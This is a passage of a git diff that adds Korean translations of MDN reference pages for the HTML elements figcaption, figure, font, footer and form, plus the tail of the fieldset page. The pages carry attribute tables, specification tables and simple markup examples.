+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.10', '&lt;fieldset&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.fieldset")}}</p>
diff --git a/files/ko/web/html/element/figcaption/index.html b/files/ko/web/html/element/figcaption/index.html
new file mode 100644
index 0000000000..467db8177b
--- /dev/null
+++ b/files/ko/web/html/element/figcaption/index.html
@@ -0,0 +1,88 @@
+---
+title: <figcaption>
+slug: Web/HTML/Element/figcaption
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - Reference
+translation_of: Web/HTML/Element/figcaption
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;figcaption&gt;</code> 요소는 </strong>부모 {{HTMLElement("figure")}} 요소가 포함하는 다른 콘텐츠에 대한 설명 혹은 범례를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figcaption.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC" title="HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlelement("figure")}} 요소의 처음 혹은 마지막.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ariarole("group")}}, {{ariarole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;figcaption&gt;</code>에 대한 예제는 {{HTMLElement("figure")}} 페이지에 포함되어 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.figcaption")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("figure")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/figure/index.html b/files/ko/web/html/element/figure/index.html
new file mode 100644
index 0000000000..3630515211
--- /dev/null
+++ b/files/ko/web/html/element/figure/index.html
@@ -0,0 +1,175 @@
+---
+title: <figure>
+slug: Web/HTML/Element/figure
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - Reference
+translation_of: Web/HTML/Element/figure
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;figure&gt;</code> 요소</strong>는 독립적인 콘텐츠를 표현합니다. {{htmlelement("figcaption")}} 요소를 사용해 설명을 붙일 수 있습니다.</span> 피규어, 설명, 콘텐츠는 하나의 단위로 참조됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figure.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC" title="HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, 구획 루트, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>
+ <p>{{htmlelement("figcaption")}}과 뒤따르는 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐</a>츠.<br>
+ 혹은 플로우 콘텐츠를 뒤따르는 <code>&lt;figcaption&gt;</code>.<br>
+ 혹은 플로우 콘텐츠.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>보통 <code>&lt;figure&gt;</code>는 주 문서 플로우가 참조하지만, 다른 부분이나 부록으로 이동해도 문제 없는 이미지, 삽화, 도표, 코드 조각 등을 맡습니다.</li>
+ <li><code>&lt;figure&gt;</code>는 구획 루트이므로 <code>&lt;figure&gt;</code> 요소의 콘텐츠는 문서의 주 개요에서 제외됩니다.</li>
+ <li>안에 (처음이나 마지막 자식으로) {{HTMLElement("figcaption")}}을 넣어서 설명을 덧붙일 수 있습니다. 제일 처음 <code>&lt;figcaption&gt;</code>을 설명으로 사용합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이미지">이미지</h3>
+
+<pre class="brush: html"><code>&lt;!-- Just an image --&gt;
+&lt;figure&gt;
+ &lt;img
+ src="https://developer.cdn.mozilla.net/media/img/mdn-logo-sm.png"
+ alt="A robotic monster over the letters MDN."&gt;
+&lt;/figure&gt;
+
+&lt;!-- Image with a caption --&gt;
+&lt;figure&gt;
+ &lt;img
+ src="https://developer.cdn.mozilla.net/media/img/mdn-logo-sm.png"
+ alt="A robotic monster over the letters MDN."&gt;
+ &lt;figcaption&gt;MDN Logo&lt;/figcaption&gt;
+&lt;/figure&gt;</code>
+</pre>
+
+<p>{{EmbedLiveSample("이미지", "100%", 250)}}</p>
+
+<h3 id="코드_조각">코드 조각</h3>
+
+<pre class="brush: html">&lt;figure&gt;
+ &lt;figcaption&gt;&lt;code&gt;navigator&lt;/code&gt;를 이용하여 브라우저 정보 얻기&lt;/figcaption&gt;
+ &lt;pre&gt;
+function NavigatorExample() {
+ var txt;
+ txt = "Browser CodeName: " + navigator.appCodeName;
+ txt+= "Browser Name: " + navigator.appName;
+ txt+= "Browser Version: " + navigator.appVersion ;
+ txt+= "Cookies Enabled: " + navigator.cookieEnabled;
+ txt+= "Platform: " + navigator.platform;
+ txt+= "User-agent header: " + navigator.userAgent;
+}
+ &lt;/pre&gt;
+&lt;/figure&gt;
+</pre>
+
+<p>{{EmbedLiveSample("코드_조각", "100%", 250)}}</p>
+
+<h3 id="인용문">인용문</h3>
+
+<figure>
+<pre class="brush: html"><code>&lt;figure&gt;
+ &lt;figcaption&gt;&lt;cite&gt;Edsger Dijkstra:&lt;/cite&gt;&lt;/figcaption&gt;
+ &lt;blockquote&gt;If debugging is the process of removing software bugs,
+ then programming must be the process of putting them in.&lt;/blockquote&gt;
+&lt;/figure&gt;</code>
+</pre>
+
+<p>{{EmbedLiveSample("인용문")}}</p>
+</figure>
+
+<h3 id="시">시</h3>
+
+<figure>
+<pre class="brush: html"><code>&lt;figure&gt;
+ &lt;p style="white-space:pre"&gt;
+Bid me discourse, I will enchant thine ear,
+ Or like a fairy trip upon the green,
+Or, like a nymph, with long dishevell'd hair,
+ Dance on the sands, and yet no footing seen:
+Love is a spirit all compact of fire,
+ Not gross to sink, but light, and will aspire.&lt;/p&gt;
+ &lt;figcaption&gt;&lt;cite&gt;Venus and Adonis&lt;/cite&gt;,
+ by William Shakespeare&lt;/figcaption&gt;
+&lt;/figure&gt;</code>
+</pre>
+
+<p>{{EmbedLiveSample("시", "100%", 250)}}</p>
+</figure>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-figure-element', '&lt;figure&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.2', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+ <td>{{Spec2('HTML5.2')}}</td>
+ <td>No changes from HTML 5.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.figure")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("figcaption")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/font/index.html b/files/ko/web/html/element/font/index.html
new file mode 100644
index 0000000000..44d88447ae
--- /dev/null
+++ b/files/ko/web/html/element/font/index.html
@@ -0,0 +1,48 @@
+---
+title: <font>
+slug: Web/HTML/Element/font
+tags:
+ - 요소
+ - 폐기됨
+translation_of: Web/HTML/Element/font
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p><em>HTML에서의 Font 요소</em> (<code>&lt;font&gt;</code>) 는 본문의 글자 크기, 색상과 및면을 정의합니다.</p>
+
+<div class="note">
+<p><em>사용 참고: </em></p>
+
+<p><strong>이 요소를 사용하지 마세요! </strong>HTML 3.2에서 정규화되었지만, HTML 4.01에서는 사용되지 않는 요소로 지정되었으며, 동시에 스타일링과 관련된 모든 요소가 HTML5에서 폐기되었습니다.</p>
+
+<p>Starting with HTML 4, HTML does not convey styling information anymore (outside the {{HTMLElement("style")}} element or the <strong>style</strong> attribute of each element). For any new web development, styling should be written using <a href="/en-US/docs/CSS" title="CSS">CSS</a> only.</p>
+
+<p>The former behavior of the {{HTMLElement("font")}} element can be achieved, and even better controlled using the <a href="/en-US/docs/Web/CSS/CSS_Fonts">CSS Fonts</a> CSS properties.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p>다른 HTML 요소들과 같게, 이 요소도 <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">공용 속성</a>을 지원합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.</dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>This attribute contains a comma-separated list of one or more font names. The document text in the default style is rendered in the first font face that the client's browser supports. If no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>This attribute specifies the font size as either a numeric or relative value. Numeric values range from <code>1</code> to <code>7</code> with <code>1</code> being the smallest and <code>3</code> the default. It can be defined using a relative value, like <code>+2</code> or <code>-3</code>, which set it relative to the value of the {{htmlattrxref("size", "basefont")}} attribute of the {{HTMLElement("basefont")}} element, or relative to <code>3</code>, the default value, if none does exist.</dd>
+</dl>
+
+<h2 id="DOM_interface">DOM interface</h2>
+
+<p>This element implements the {{domxref("HTMLFontElement")}} interface.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.font")}}</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/footer/index.html b/files/ko/web/html/element/footer/index.html
new file mode 100644
index 0000000000..6c2e3973d0
--- /dev/null
+++ b/files/ko/web/html/element/footer/index.html
@@ -0,0 +1,109 @@
+---
+title: <footer>
+slug: Web/HTML/Element/footer
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - Reference
+translation_of: Web/HTML/Element/footer
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;footer&gt;</code> 요소</strong>는 가장 가까운 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">구획 콘텐츠</a>나 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽" title="Sections and Outlines of an HTML5 document#Sectioning root">구획 루트</a>의 푸터를 나타냅니다. 푸터는 일반적으로 구획의 작성자, 저작권 정보, 관련 문서 등의 내용을 담습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/footer.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>. 단, {{htmlelement("header")}}와 다른 <code>&lt;footer&gt;</code>는 자손이 될 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>를 허용하는 모든 요소. 단, <code>&lt;footer&gt;</code> 요소는 {{htmlelement("address")}}, {{htmlelement("header")}}, 혹은 다른 <code>&lt;footer&gt;</code>의 자손일 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>{{HTMLElement("address")}} 요소로 감싼 작성자 정보를 <code>&lt;footer&gt;</code> 요소에 배치하세요.</li>
+ <li><code>&lt;footer&gt;</code> 요소는 구획 콘텐츠가 아니므로 <a href="/ko/docs/Web/HTML/HTML5_%EB%AC%B8%EC%84%9C%EC%9D%98_%EC%84%B9%EC%85%98%EA%B3%BC_%EC%9C%A4%EA%B3%BD">개요</a>에 새로운 구획을 추가하지 않습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;footer&gt;
+ Some copyright info or perhaps some author
+ info for an &amp;lt;article&amp;gt;?
+&lt;/footer&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p><a href="https://help.apple.com/voiceover/mac">VoiceOver</a> 스크린 리더는 랜드마크 로터에서 푸터의 랜드마크 역할을 표현하지 않는 문제가 있습니다. 해결하려면 <code>&lt;footer&gt;</code>에 <code>role="contentinfo"</code>를 추가하세요.</p>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=146930">WebKit Bugzilla: 146930 – AX: HTML native elements (header, footer, main, aside, nav) should work the same as ARIA landmarks, sometimes they don't</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-footer-element', '&lt;footer&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-footer-element', '&lt;footer&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.footer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 구획 관련 요소들: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("section")}}, {{HTMLElement("address")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/form/index.html b/files/ko/web/html/element/form/index.html
new file mode 100644
index 0000000000..38ec4aa393
--- /dev/null
+++ b/files/ko/web/html/element/form/index.html
@@ -0,0 +1,186 @@
+---
+title: <form>
+slug: Web/HTML/Element/form
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+ - 양식
+translation_of: Web/HTML/Element/form
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;form&gt;</code> 요소</strong>는 정보를 제출하기 위한 대화형 컨트롤을 포함하는 문서 구획을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/form.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p><code>&lt;form&gt;</code> 요소를 꾸밀 땐, 모든 {{domxref("HTMLFormElement.elements", "elements")}}의 유효성을 나타내는 CSS {{cssxref(":valid")}}와 {{cssxref(":invalid")}} <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>를 사용할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>다른 <code>&lt;form&gt;</code> 요소를 제외한 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLFormElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt class="hidden">{{htmlattrdef("accept")}} {{obsolete_inline}}</dt>
+ <dd class="hidden">A comma-separated list of content types that the server accepts.
+ <div class="note"><strong>사용시 주의:</strong> 이 속성은 HTML5에서 제거되고 더 이상 사용되서는 안됩니다. 대신에, {{HTMLElement("input")}} 요소의 <span class="st">{{htmlattrxref("accept", "input")}} 속성을 사용하세요.</span></div>
+ </dd>
+ <dt>{{htmlattrdef("accept-charset")}}</dt>
+ <dd>스페이스로 구분한, 서버가 허용하는 문자 인코딩의 목록. 브라우저는 목록을 순서대로 사용합니다. 기본값은 <a href="/ko/docs/Web/HTTP/Headers/Content-Encoding">페이지 인코딩</a>과 같습니다.</dd>
+ <dt>{{htmlattrdef("action")}}</dt>
+ <dd>양식 데이터를 처리할 프로그램의 {{glossary("URI")}}. {{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formaction", "button")}} 특성으로 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>양식 요소 내에서 영문을 입력할 때 자동으로 대문자 변환하는 방식. iOS Safari에서만 사용하는 비표준 특성입니다. 각 요소의 <code>autocapitalize</code> 특성이 <code>&lt;form&gt;</code>에 정의된 값을 재정의합니다.
+ <ul>
+ <li><code>none</code>: 자동 대문자 입력을 비활성화합니다.</li>
+ <li><code>sentences</code>: 문장의 첫 글자를 대문자로 변환합니다. 기본값.</li>
+ <li><code>words</code>: 각 단어의 첫 글자를 대문자로 변환합니다.</li>
+ <li><code>characters</code>: 모든 글자를 대문자로 변환합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}}</dt>
+ <dd>입력 요소가 자동완성된 값을 기본값으로 가질 수 있는지 나타냅니다. 각 요소의 <code>autocomplete</code> 특성이 <code>&lt;form&gt;</code>에 정의된 값을 재정의합니다.
+ <ul>
+ <li><code>off</code>: 브라우저가 각 항목에 자동으로 값을 채워 넣지 않습니다. (로그인 양식으로 의심되는 경우 보통 무시합니다)</li>
+ <li><code>on</code>: 사용자의 과거 입력값에 기반하여 브라우저가 자동으로 값을 채워 넣습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("enctype")}}</dt>
+ <dd><code>method</code> 특성이 <code>post</code>인 경우, <code>enctype</code>은 양식 제출 시 데이터의 <a href="https://ko.wikipedia.org/wiki/%EB%AF%B8%EB%94%94%EC%96%B4_%ED%83%80%EC%9E%85">MIME 유형</a>을 나타냅니다.
+ <ul>
+ <li><code>application/x-www-form-urlencoded</code>: 기본값.</li>
+ <li><code>multipart/form-data</code>: <code>&lt;input type="file"&gt;</code>이 존재하는 경우 사용하세요.</li>
+ <li><code>text/plain</code>: HTML 5에서 디버깅 용으로 추가된 값.</li>
+ </ul>
+
+ <p>{{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formenctype", "button")}} 특성으로 재정의할 수 있습니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("method")}}</dt>
+ <dd>양식을 제출할 때 사용할 <a href="/ko/docs/Web/HTTP" title="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP</a> 메서드.
+ <ul>
+ <li><code>post</code>: <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5">POST 메서드</a>. 양식 데이터를 <a href="/ko/docs/Web/API/Body">요청 본문</a>으로 전송합니다.</li>
+ <li><code>get</code>: <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3">GET 메서드</a>. 양식 데이터를 <code>action</code> URL과 <code>?</code> 구분자 뒤에 이어 붙여서 전송합니다.</li>
+ <li>dialog: 양식이 {{htmlelement("dialog")}} 안에 위치한 경우, 제출과 함께 대화 상자를 닫습니다.</li>
+ </ul>
+
+ <p>{{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formmethod", "button")}} 특성으로 재정의할 수 있습니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("name")}} {{deprecated_inline}}</dt>
+ <dd>양식의 이름. HTML 4부터 사용 중단됐습니다. {{htmlattrxref("id")}}를 사용하세요.</dd>
+ <dt>{{htmlattrdef("novalidate")}}</dt>
+ <dd>지정한 경우 양식의 유효성 검증을 건너뜁니다. <code>novalidate</code> 특성을 지정하지 않은(양식의 검증을 수행하는) 경우에도 {{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formnovalidate", "button")}} 특성으로 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>양식 제출의 결과를 표시할 위치를 나타내는 표준 키워드 혹은 사용자 지정 이름. 가능한 값은 {{glossary("browsing context", "브라우징 맥락")}}(탭, 창, {{htmlelement("iframe")}})의 이름 또는 키워드입니다. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("target","form")}} 특성보다 우선합니다. 다음 키워드는 특별한 뜻을 가지고 있습니다.
+ <ul>
+ <li><code>_self</code>: 응답을 현재 브라우징 맥락에 표시합니다. 기본값.</li>
+ <li><code>_blank</code>: 응답을 새로운 브라우징 맥락에 표시합니다. 보통 새 탭이지만, 사용자가 브라우저 설정을 통해 새 창으로 바꿀 수 있습니다.</li>
+ <li><code>_parent</code>: 응답을 현재 브라우징 맥락의 부모에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ <li><code>_top</code>: 응답을 최상단 브라우징 맥락(현재 맥락의 부모면서 자신의 부모가 존재하지 않는, 제일 높은 맥락)에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ </ul>
+
+ <p>{{HTMLElement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> 요소의 {{htmlattrxref("formtarget", "button")}} 특성으로 재정의할 수 있습니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;!-- Form which will send a GET request to the current URL --&gt;
+&lt;form&gt;
+ &lt;label&gt;Name:
+ &lt;input name="submitted-name" autocomplete="name"&gt;
+ &lt;/label&gt;
+ &lt;button&gt;Save&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;!-- Form which will send a POST request to the current URL --&gt;
+&lt;form method="post"&gt;
+ &lt;label&gt;Name:
+ &lt;input name="submitted-name" autocomplete="name"&gt;
+ &lt;/label&gt;
+ &lt;button&gt;Save&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;!-- Form with fieldset, legend, and label --&gt;
+&lt;form method="post"&gt;
+ &lt;fieldset&gt;
+ &lt;legend&gt;Title&lt;/legend&gt;
+ &lt;label&gt;&lt;input type="radio" name="radio"&gt; Select me&lt;/label&gt;
+ &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제', '100%', 110) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
